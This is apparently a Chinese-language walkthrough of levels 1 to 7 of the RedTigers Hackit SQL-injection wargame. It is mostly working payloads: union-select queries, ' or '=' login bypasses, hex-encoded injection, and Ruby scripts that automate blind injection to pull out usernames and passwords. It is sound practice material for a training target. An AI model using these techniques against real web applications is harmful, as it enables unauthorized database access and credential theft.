RedTigers Hackit Wargame - Level 1 ~ Level 7
RedTigers Hackit是关于PHP和SQL injection的wargame。
又开始做wargame了,这次的进步是用上了HTTPie,一个类似curl的工具,但语法比后者优雅一些。
1
http get 'http://redtiger.dyndns.org/hackit/level1.php' cat=='1 union select 1,2,username,password from level1_users'2
指定--session选项就可以实现cookie jar功能了,请求时会发送Cookie首部,也会保存服务端发来的Set-Cookie首部,而curl里实现同样的同能需要指定-b c -c c。
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level2.php' username="' or 2='2" password="' or 2='2" login=Login3
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level3.php' 'usr[]=='
报错:
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21
可以下载这个文件:
http --session=./c get 'http://redtiger.dyndns.org/hackit/urlcrypt.inc' --download
猜测usr字段被用来做SQL查询了:
http --session=./c get 'http://redtiger.dyndns.org/hackit/level3.php' usr==$(php urlcrypt.inc "' union select 1,username,3,4,5,password,7 from level3_users where username='Admin' -- ")4
Blind SQL injection,二分搜索枚举每个位置的字符:
require 'net/http'
ans = '*' * 17
worker = ->from, to {
Net::HTTP.start('redtiger.dyndns.org') {|http|
u = URI '/hackit/level4.php'
(from...to).each {|pos|
l = 32
h = 126
while l < h
m = (l + h) / 2
u.query = URI.encode_www_form id: "1 and if((select ord(mid(keyword,#{pos+1},1)))>#{m},1,0)"
res = http.get(u.to_s, 'Cookie'=> 'level4login=****************').body
#p res
if res !~ /Query returned 0 rows/
l = m + 1
else
h = m
end
end
ans[pos] = l.chr
}
}
}
worker[0,17]
puts ans5
pass=$(echo -n a | md5sum)
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level5.php?mode=login' username="' union select 1,'$pass" password=a login=Login6
先确定SQL返回结果有5列,然后填充Admin:
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,'Admin',3,4,5"
报错:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27。
利用MySQL中xexadecimal literal默认为字符串的性质,尝试:
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x61646d696e,3,4,5"
猜测第二列被用来做查询了:
a=$(echo -n "' union select 1,username,3,password,5 from level6_users where status=1-- " | rax2 -S)
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x$a,3,4,5"7
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="xxx'" dosearch='search!'
触发错误信息,了解到查询用的SQL:
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%#{serach}%' OR text.title LIKE '%#{search}%')
尝试发现比较运算符及substr、mid、left等很多字符串函数被过滤了。枚举得出news.autor的长度:
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="Google%' and length(news.autor)=17 and '%'='" dosearch='search!'
发现locate函数没有过滤,找出news.autor中出现过的字符:
Net::HTTP.start('redtiger.dyndns.org') {|http|
u = URI '/hackit/level7.php'
[('a'..'z').to_a,('0'..'9').to_a].flatten.each {|c|
post = Net::HTTP::Post.new u.to_s
post.set_form_data dosearch: 'search!', search: "Google%' and locate('#{c}',news.autor)=0 and '%'='"
post['Cookie'] = 'level7login=dont_shout_at_your_disks%2A%2A%2A'
puts c if http.request(post).body !~ /Geolocation/
}
}
得到这些:efglorstu0。然后开始枚举17位密码中每一位的字符:
u = URI '/hackit/level7.php'
w = ''
Net::HTTP.start('redtiger.dyndns.org') {|http|
while w.size < 17
'efglorstu0'.chars {|c|
post = Net::HTTP::Post.new u.to_s
post.set_form_data dosearch: 'search!', search: "Google%' and locate('#{w}#{c}',news.autor)=1 and '%'='"
post['Cookie'] = 'level7login=***********'
res = http.request(post).body
if res =~ /Geolocation/
w << c
puts w
end
}
end
}
得到了密码,但是
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' username='*****************' try='Check!'
提示不正确……错在哪里了啊